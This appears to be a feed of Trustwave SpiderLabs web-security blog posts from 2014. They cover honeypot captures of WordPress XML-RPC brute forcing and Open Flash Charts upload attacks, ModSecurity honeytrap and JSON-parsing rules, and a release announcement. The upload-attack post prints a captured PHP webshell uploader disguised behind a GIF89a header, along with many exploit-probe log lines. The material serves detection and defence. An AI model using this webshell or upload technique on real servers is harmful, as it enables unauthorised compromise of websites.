Web Security Blog

Syndicate content
Official Blog of Trustwave's SpiderLabs - SpiderLabs is an elite team of ethical hackers, investigators and researchers at Trustwave advancing the security capabilities of leading businesses and organizations throughout the world.
Updated: 8 hours 14 min ago

[Honeypot Alert] Wordpress XML-RPC Brute Force Scanning

Wed, 2014-07-23 17:37

There are news reports of new Wordpress XML-PRC brute force attacks being seen in the wild.  The SANS Internet Storm Center also has a Diary entry showing similar data.  We have captured similar attacks in our web honeypots so we wanted to share more data with the community.  Please reference earlier blog posts we have done related to Wordpress:

Thanks goes to my SpiderLabs Research colleague Robert Rowley for help in validating data for this blog post.

Wordpress XML-RPC wp.getUsersBlogs Component

Here is the general format of accessing this XML-RPC component:

As you can see, it is expecting username and password parameters. 

Example Honeypot Attack

Here is the data captured on our ModSecurity honepot:

This request was sending the following credentials:

  • username = admin
  • password = jeepjeep

Since we do not have Wordpress installed on our honeypot, there was no real response to this XML-RPC request.  If we do send this request to some demo sites we have with Wordpress, we can see different methods of response.

Component Not Installed/Activated

If you do not have XML-RPC installed or activated, then you would receive a response similar to the following:

Component Activated but Incorrect Credentials

If the XML-RPC component is activated, but the user sends incorrect credentials along with the wp.getUsersBlogs request, they would receive a response similar to the following:

Component Activated with Correct Credentials

If the client sends the correct credentials to the XML-RPC component, then they would receive and XML response similar to the following:

Defenses  Not Just wp.getUsersBlogs

It is important to note that the use of the wp.getUsersBlogs is but one of many possible vectors here so implementing a dumb block of that specific XML-RPC call will not suffice.  Pretty much all of the components listed in XML-RPC API documentation require a username/password.

Block the WinHttp.WinHttpRequest.5 User-Agent

There are many reports that list this as some type of scraper tool possibly related to a virus.  We have added this User-Agent string to our OWASP ModSecurity CRS repo.

Alert on XML-RPC Authentication Failures

We have added rules to our commercial ModSecurity rules package that will identify these XML-RPC authentication errors in the response bodies and generate alerts.

Categories: web server

Setting HoneyTraps with ModSecurity: Adding Fake Hidden Form Fields

Thu, 2014-06-12 12:35
This blog post continues with the topic of setting "HoneyTraps" within your web applications to catch attackers.  Please review the previous posts for more examples: This blog post will discuss Recipe 3-4: Adding Fake Hidden Form Fields from my book "Web Application Defender's Cookbook: Battling Hackers and Protecting Users".   Recipe 3-4: Adding Fake Hidden Form Fields

This recipe will show you how to add fake hidden form field data to existing forms and alert if the data is ever manipulated.


Hidden Form Fields

HTML hidden form field are just like normal form fields except for one distinct different; they are not displayed by the browser to the user.  Hidden fields are used as a mechanism to pass data from one request to another and their contents are not supposed to altered.  Web developers often make the mistake of believing that hidden parameter data cannot be manipulated however this is not the case.  While the browser does hide these form fields, the data is still accessible by the client.  They can either simply choose to view the source or use a browser plug-in.  Figure 3-6 shows an example of using the Groundspeed plug-in for the FireFox browser in order to view hidden form fields on the Twitter login page.

Figure 3-7: Hidden Form Fields on Twitter’s Login Page

The Groundspeed plug-in’s main benefit is that you are able to correlate the raw html elements of a page to the actual user interface.  In Figure 3-6, we see that there is a hidden form field named “context” with a value of “front” within the Sign Up form.  This is how the raw html hidden form field looks in the source:

<input type="hidden" value="front" name="context">

When the user clicks on the submit button, the hidden form field data will be sent along with all of the normal fields that accepted direct user input.  Here is how the request looks being sent back to the web application:

POST /signup HTTP/1.1 Host: twitter.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:10.0.2) Gecko/20100101 Firefox/10.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: http://twitter.com/ Cookie: pid=v1%3A1328144669186587529055; guest_id=v1%3A132922623466696969; js=1; __utma=43838368.1969980750.1329226294.1329235683.1331320055.3; __utmz=43838368.1329226294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=; _twitter_sess=BAh7CToMY3NyZl9pZCIlNmU3YmYyOTQ3ZDIzZjY0NzNhNzMzN2ZkOWI2NmIw%250AY2YiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhh%250Ac2h7AAY6CkB1c2VkewA6D2NyZWF0ZWRfYXRsKwiO0tv4NQE6B2lkIiUyZmNl%250AMTNlY2E0NThjN2QyZWY3NmY2YWI0MGNmYTZlZA%253D%253D--e0ad2fef301aa20cc0af4431d0e9f365cc0a92e2; original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmb=43838368.1.10.1331320055; __utmc=43838368 Content-Type: application/x-www-form-urlencoded Content-Length: 105   user%5Bname%5D=Bob+Smith&user%5Bemail%5D=bob%40email.com&user%5Buser_password%5D=B1gB0b1199&context=front   

Notice the bolded context parameter data at the end of the request body?  That is the hidden form field data.  By looking at this data, there is no way to know that this parameter data originated within a hidden form field.  Attacker’s can easily manipulate this data once they are outside the confines of the web browser just like any other input field.

Adding Fake Hidden Form Fields with ModSecurity

Just as we did previously with adding in the fake HTML comments, we can use the same methodology to inject fake HTML hidden form fields.  The key to this technique is key on the closing </form> HTML form tag and inject our honeytrap data just before it.  The following rule will accomplish this task:

# # Add a fake "debug" hidden parameter to forms. # # Here are some examples of parameter names/values that could be used: # # - debug=false # - debug=0 # - role=user # - role=1 # - admin=false # - admin=0 # # Make sure that your settings here match the detection rules above. # SecRule STREAM_OUTPUT_BODY "@rsub s/<\/form>/<input type=\"hidden\" name=\"debug\" value=\"false\">>\/form>/" "id:'999009',phase:4,t:none,nolog,pass"

With this rule in place, all HTML forms will have this honeytrap hidden parameter data injected into it.  Figure 3-7 shows the updated Groundspeed data, which highlights our honeytrap hidden field data.

Figure 3-8: Groundspeed Displays Honeytrap Hidden Form Field Data

Just as before, we next to implement a rule that will trigger if this data is ever manipulated.  Here is an example rule:

SecRule ARGS:debug "!@streq false" \ "id:'999010',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Fake HIDDEN Form Data Manipulated.',setvar:ip.malicious_client=1" Conclusion

Attackers will quite often attempt to manipulate form fields in attempts to tamper with the web application logic.  By setting bogus hidden form field data, we can quickly identify malicious clients and take appropriate defensive actions. 


Categories: web server

[Honeypot Alert] Open Flash Charts File Upload Attacks

Tue, 2014-05-06 11:00

Our web honeypots picked up some increased scanning/exploit activity for the following file upload vulnerability in Open Flash Charts -

The following screenshot shows the contents of the vulnerable ofc_upload_image.php file:

As you can see from this simple code, there is no validation of the uploaded file to ensure that it is an image.  Furthermore, the page tells the attacker exactly where the uploaded file is located so that they may then access the file and execute it.

Web Honeypot Logs Step 1: File Upload Attempts

Here are some examples from the Apache access_log file where the attackers are attempting to upload php files to the ofc_upload_image.php page: - - [06/May/2014:00:18:50 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 362 - - [06/May/2014:00:18:50 +0900] "POST /admin//components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 368 - - [06/May/2014:00:18:52 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 288 - - [06/May/2014:00:19:19 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 288 - - [06/May/2014:00:19:21 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 1099 "-" "libwww-perl/5.836" - - [06/May/2014:00:19:21 +0900] "POST /cgi-bin/awstats//components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 1099 "-" "libwww-perl/5.836" - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 355 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 370 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 366 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 358 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:46 +0400] "POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 352 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:46 +0400] "POST //administrator/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 360 "-" "libwww-perl/6.05" - - [06/May/2014:00:58:36 +0200] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 361 "-" "libwww-perl/5.836" - - [06/May/2014:01:03:58 +0200] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 361 "-" "libwww-perl/5.836" - - [06/May/2014:01:33:58 +0200] "POST //admin_area/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 334 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 385 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 367 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 375 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jnewsletter/includes/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 366 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_joomleague/assets/classes/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 371 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 360 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 373 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_redmystic/chart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 361 "-" "libwww-perl/6.05"

 The desired filename of the uploaded file is specified in the "name" parameter.  Here is an example attack from the ModSecurity audit log file where the full POST body payload is captured:

[06/May/2014:03:08:38 --0500] U2iYhsCo8AoAAHdgZOAAAAAC 60586 XXX.XXX.XXX.XXX 80
POST //admin_area/charts/ofc-library/ofc_upload_image.php?name=pload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
User-Agent: libwww-perl/6.04
Content-Length: 474
Content-Type: text/plain --8957ae7d-C--
GIF89a<?php echo '<b><br><br>OS:'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br>'; } } ?>

As you can see from this POST body payload, the attacker is attempting to upload a very basic webshell which would allow the attacker to upload other files to the server.

Step 2: Access Uploaded Files

After attempting to upload the malicious files, the attacker's next step is to try and access the file in the tmp_upload_images directory.  Here are more examples from the Apache access_log file: - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 302 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/vito.php?rf HTTP/1.1" 404 284 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 292 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnewsletter/includes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 283 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnewsletter/includes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 283 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_joomleague/assets/classes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 288 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 290 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_redmystic/chart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 278 - - [06/May/2014:10:29:41 +0900] "GET //openemr/library/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 264 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/woopra/inc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 263 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/woopra/inc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 263 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 275 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 275 - - [06/May/2014:10:29:41 +0900] "GET /wp-content/plugins/seo-watcher/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 267 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/vito.php?rf HTTP/1.1" 404 284 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_joomleague/assets/classes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 288 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_maian15/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 277 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 290 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_redmystic/chart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 278 - - [06/May/2014:10:29:42 +0900] "GET //openemr/library/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 264 - - [06/May/2014:10:29:42 +0900] "GET /wp-content/plugins/seo-watcher/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 267 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 302 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 292 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_maian15/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 277 - - [06/May/2014:19:13:57 +0900] "GET /admin//administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 367 - - [06/May/2014:19:13:57 +0900] "GET /admin//administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 381 - - [06/May/2014:19:13:58 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 369 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 385 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 375 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 373 - - [06/May/2014:19:13:59 +0900] "GET /admin//administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 370 - - [06/May/2014:19:13:59 +0900] "GET /admin//administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 381 - - [06/May/2014:19:14:00 +0900] "GET /admin//administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 367 - - [06/May/2014:19:14:01 +0900] "GET /admin//administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 373 - - [06/May/2014:19:14:02 +0900] "GET /admin//administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 375 - - [06/May/2014:19:14:22 +0900] "GET //administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 290 - - [06/May/2014:19:14:22 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 305 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 287 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 301 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 293 - - [06/May/2014:19:14:25 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 295 - - [06/May/2014:19:14:41 +0900] "GET //administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 290 - - [06/May/2014:19:14:41 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 305 Action Items Patch?

Unfortunately, it seems that the developers have not released any updates to fix this vulnerability. 

Virtually Patch with WAF

If you use a Web Application Firewall (WAF) such as Trustwave's WebDefend or ModSecurity, you can block these attack attempts.  We have virtual patches in our commercial SpiderLabs rules feed.

Scan Your Web App

There is MetaSploit module to check for this vulnerable file:

As with many WordPress/Joomla Plugins, 3rd party library packages such as can creep their way into your installation.  Here is a listing of the Plugins being searched for (listed in descending order of attack attempts):

73 com_jnews
72 com_jnewsletter
63 com_jinc
58 com_maianmedia
57 com_civicrm
45 com_redmystic
45 com_maian15
35 com_joomleague
23 com_acymailing
14 com_jc

See this response by Piwik:

 Identify Uploaded Backdoor/Webshells

You can also scan your web site document root directory structure to look for files with the following names:

  • vito.php
  • lobex21.php
  • guys.php
  • wawalo.php
  • pload.php

If you find one of these files, you have already been compromised and should conduct a full incident response/forensic review of your system.

Categories: web server

ModSecurity Advanced Topic of the Week: JSON Support

Fri, 2014-05-02 08:38

Submitted by Felipe Costa and Ryan Barnett (SpiderLabs Research - ModSecurity Team)

Increasing Adoption of Dynamic Web Content

Long gone are the days of static HTML web content.  Dynamic web content adoption is growing and growing as everyone wants to have a visually appealing, highly responsive web application. The technologies driving these apps are things like HTML5, AJAX and web services that use XML or JSON.  JSON is becoming more popular each day as organizations provide commercial API models [1, 2]. JSON content can also be consumed very easily by web applications using JavaScript [3] or consume JSON APIS on mobile devices [4, 5]. 

Since the number of applications that accept JSON input is growing, it is natural to expect that JSON will be also used to transport web application attacks payloads.  This leads to the next logical question with regards to defense: Can your Web Application Firewall  (WAF) understand JSON?  These different web technologies are similar to verbal languages and WAFs need to be multi-lingual to correctly identify attacks and minimize false positives.  It is for this reason that we have added JSON support to ModSecurity.

Side Note: Trustwave’s WebDefend WAF Product has JSON support in the upcoming v7 release.

New JSON Parsing Support in ModSecurity 

In the newest ModSecurity release (v2.8.0), we have added JSON request body parsing support.  This means that ModSecurity will be able to validate the format and extract JSON content for inspection much in the same way that it handles XML request body content. Thanks goes out to our SpiderLabs Research colleague Ulisses Albuquerque who originally developed this functionality.

How does JSON parsing work?

ModSecurity will automatically parse the following two request body content-types with built-in request body parsers:

  • application/x-www-form-urlencoded
  • multipart/form-data 

In addition, if the request body is XML, ModSecurity can be configured with the “requestBodyProcessorctl action to dynamically initiate the libxml2 library to parse the content. Similar to how we handle XML content, we have now added JSON request body parsing support with the YAJL (Yet Another JSON Library) package. Image 1 illustrates the new portion of modsecurity.conf-recommended, where the JSON parser is activated by the ctl action.

 Image 1: Rule that trigger the JSON parser whenever the content is specified as “application/json”.

The rule, illustrated in Image 1, tells ModSecurity that if the Content-Type is application/json, the JSON body processor should be activated. Once the parser is triggered it will process the JSON content (arrays and structures), and each value will be added to a key inside the standard ARGS collection.  The ARGS_NAMES values are based on the JSON parameter names.  Similar to how the XML processor allows for XPath variables to be defined, the JSON parser will create ARGS_NAMES values as a concatenation of all the structure names that a value belongs to, split by a “.” (dot). Image 2 shows an example of a JSON content (Image 2.a) and its corresponding representation in ModSecurity’s ARGS collection (Image 2.b).

Image 2: (a) JSON example, from RFC 4627. (b) Representation of ModSecurity’s ARGS collection after JSON parsing.

Example Usage: SQL Injection Attack in JSON Content

Let’s see how it looks when an attacker attempts to send an SQL Injection attack inside the JSON Image.IDs parameter payload. The raw JSON request body is illustrated in Image 3.


Image 3: Illustrates a request body in JSON format. (a) Illustrates an SQL injection attempt.

When ModSecurity starts the request body processing phase, the JSON will be parsed and the content of the debug log will be similar to what is shown in Image 4, note in 4.a the SQL command is stored into: ARGS:Images.IDs.

Image 4: ModSecurity debug log while parsing a JSON request body. (a) An SQL Injection command is stored under the key Image.IDs.

This data is now held within the ARGS collection and can be used by the existing rules. Image 5 is a snippet of the debug log file when ModSecurity uses the @detectSQLi operator against this JSON data.

Image 5: (a) libinjection matching a fingerprint in the target value. (b) ModSecurity Alert Message Data.

Malformed JSON Data

When attackers attempt to inject malicious payload into JSON content, it will often cause parsing errors. ModSecurity’s JSON parser populates data in a “stream” fashion, so errors such as missing the last “}” (brackets) will not prevent ModSecurity from filling the ARGS collection. ModSecurity will fill the collection until an error is noticed.  Therefore, it is also critical to check the content of the “REQBODY_ERROR” variable which will be set to “1” if there is a parser error such as an incomplete or mal-formed JSON content.

In ModSecurity recommended configuration file, there is a rule - similar to the one illustrated in the Image 6 - that will block requests if JSON parser fails. This very same rule is also used to block other parser errors such as multipart/request-data or even the XML parser.


Image 6: Illustrates the rule that can be used to prevent a request if there is an error when parsing its content.

It is important to block requests whenever ModSecurity parser fails. Depending on the tolerance of a given parser it may process an invalid content as valid, in other words, applications can receive content without ModSecurity inspection, leading the possibility of an attacker delivering malicious content.  Image 7. Is a log snippet showing when the JSON parser detects an error. Image 7.a. Shows the error message.


Image 7: Log snippet showing a JSON parser error. (a) Contains the explanation why the JSON parser failed. 

Having these rules in place will help to minimize the chance of a false negative/bypass if attackers are purposefully attempting to alter the JSON format to break parsing.

How to have JSON parser working?

The JSON parser feature is now considered stable and part of ModSecurity v2.8.0, which was recently released. For those who don’t want to wait for distribution packages or our official releases, the code is always available in our Git repository:



Applications that utilize dynamic code such as JSON will continue to grow and therefore web security devices must keep pace with the changing landscape of web application development languages and technologies.  We encourage the ModSecurity community to test out this new feature and let us know if there are any issues or recommendations for updates.

Categories: web server

Announcing ModSecurity v2.8.0

Tue, 2014-04-15 20:04

The ModSecurity Project team is pleased to announce the availability of v2.8.0.  To see the full release notes or download the the source packages, see the ModSecurity GitHub project release tab:


New Features

Version 2.8.0 comes with five important new features:

  • Status Reporting
  • JSON Request body Parser
  • @detectXSS Operator
  • SecConnReadStateLimit and SecConnWriteStateLimit Directives

In addition to great new functionality, we have also improved the following:

  • Debug and Troubleshooting Documentation
  • Testing Platforms
  • Project Development Metrics
ModSecurity Status

See our previous blog post entitled "Introducing ModSecurity Status Reporting".  Status Reporting simply provides the project team with some basic community usage data including the # of users, OS and web server platforms and software versions in use. This functionality is not enabled by default in ModSecurity, however we have activated it as part of our Recommended Base config file.  

The information that will be sent to the modsecurity.org server is also shared with the community through the website: http://status.modsecurity.org/.


For the full list information that is sent to the ModSecurity website, check the ModSecurity Reference Manual.

JSON Parser

ModSecurity will automatically parse request body content when the Content-Type headers are:

  • www-x-form-urlencoded, or
  • multipart/form-data

If the request body Content-Type is something else, such as XML, then a SecRule is used to dynamically trigger libxml2 using the “requestBodyProcessor” parser.

Similarly, we have extended the request body parser support to now handle JSON content using yajl (Yet Another JSON Library).  

When this configuration is used, ModSecurity will parse the JSON contents and populate the standard ARGS collection.  We will be releasing a full blog post soon outlining the new JSON request body parsing feature.  More information on the JSON Parser is available at: ModSecurity Reference Manual.

@detectXSS Operator

The new @detectXSS operator uses the most recent libinjection code that identifies possible XSS attacks.  The new operator is active within both of our live demos:

More information about libinjection XSS detection: https://speakerdeck.com/ngalbreath/libinjection-from-sqli-to-xss

SecConnReadStateLimit  and SecConnWriteStateLimit Directives

In previous versions of ModSecurity we introduced two directives to help combat Slow HTTP DoS Attacks:

  • SecReadStateLimit
  • SecWriteStateLimit

While these directives are helpful to mitigate attacks, they lacked the capability to correlate client IP address data.  With ModSecurity v2.8.0, we have deprecated the previous directives for two new ones:

These directives establish a per-IP address limit of how many connections are allowed to be in SERVER_BUSY_READ or SERVER_BUSY_WRITE state.  The big difference is that they are now able to accept optional parameters: @ipMatch, @ipMatchFromFile and @ipMatchF to allow for white-listing exceptions of these thresholds.

Note: This functionality is only available to Apache users.


As a ModSecurity rule writer, I have found occasions where I would like to analyze the entire HTTP request content all within one single variable, rather than parsed into separate individual variables.  This is now possible with FULL_REQUEST which contains the full request content including: request URI, headers and the request body. The format is essentially the same as what the browser sends across the wire with headers and the request body separated by a “blank line”.  In this release there is also available the FULL_REQUEST_LENGTH, which contains the amount of bytes that will be used when FULL_REQUEST is requested.  

Debug and Trouble-Shooting Documentation

We have published documentation to aid the community in reporting bugs and steps for troubleshooting problems. Sometimes due to very specific configurations and/or dependency versions it is not possible for our development team to reproduce, in a timely manner way, an error reported by our users. In order to reduce the time to respond to these kinds of problems, we created the following documentation: Debugging ModSecurity.  This is not a developer guide or debugging utility, but rather simple documentation that can provide enough information to the users to eventually debug and report (with rich and detailed information) a problem whenever a crash is detected.  In addition, we have published the IIS-Troubleshooting guide. It provides very important information those who are facing problems with the ModSecurity for IIS version.

Testing Platforms

We have updated our continuous integration platform to use ARM.  Besides the support for Linux (32 and 64 bits), Windows with different versions of Visual Studio - our Buildbots - can now compile our code inside a BeagleBone Black.

Our BeagleBone black is running Ubuntu 13.10 for ARM with all the developer tools installed, a build with all the regression tests is taking about 16 minutes for Apache and 14 minutes for Nginx. So far our Beagle made 182 builds of a total of 1610 made by all the slaves combined.

Project Development Metrics

A useful site for analyzing open source projects is Ohlo.  There is a bunch useful tools and analysis graphs that show the health of the project.  Here is an overview of the ModSecurity project:

GitHub also provides many interesting project development tools including “Graphs”.  With Graphs it is possible to figure out project metrics such as: what time of day or day of week does the project receive commits from the community?  This question can be answered by reviewing the GitHub ModSecurity punch card.

The balls diameter represents the amount of commits. The time is represented in the “X” axis and the day of the week on the “Y” axis.

Bug Fixes

In this release, 18 bugs were also fixed.  The complete list of bug is listed below:

  • Correctly handling inet_pton in IIS version;
  • Nginx was missing a terminator while the charset string was mounted (Ref: #148);
  • Added mod_extract_forwarded.c to run before mod_security2.c (Ref: #594);
  • Added missing environment variables to regression tests;
  • Build system is now more flexible by looking at liblua at: /usr/local/lib;
  • Fixed typo in README file;
  • Removed the non standard compliant HTTP response status code 44 from modsecurity recommended file (Ref: #665);
  • Fixed segmentation fault if it fails to write on the audit log (Ref: #668);
  • Not rejecting a larger request with ProcessPartial. Regression tests were also added (Ref: #597);
  • Fixed UF8 to unicode conversion. Regression tests were also added (Ref: #672);
  • Avoiding segmentation fault by checking if a structure is null before access its members;
  • Removed double charset-header that used to happen due a hardcoded charset in Nginx implementation (Ref: #650);
  • Now alerting the users that there is no memory to proceed loading the configuration instead of just die;
  • If SecRuleEngine is set to Off and SecRequestBodyAccess On Nginx returns error 500. Standalone is now capable to identify whenever ModSecurity is enabled or disabled, independently of ModSecurity core (Ref: #645); 
  • Fixed missing headers on Nginx whenever SecResponseBodyAccess was set to On and happens to be a filter on phase equals or over 3. (Ref #634);
  • IIS is now picking the correct version of AppCmd while uninstalling or installing ModSecurityISS. (Ref#632).
What's next?

Besides new features, for the next release we are aiming to do the following:

  • Solaris and FreeBSD Support on our regression test platform.
  • Better documentation on how to build ModSecurity in different platforms.
  • Documentation on how to contribute to the project including: how to use git, how to request a merge, how to edit and test our code, how to create new regression tests.

Submitted by Felipe Costa and Ryan Barnett

Categories: web server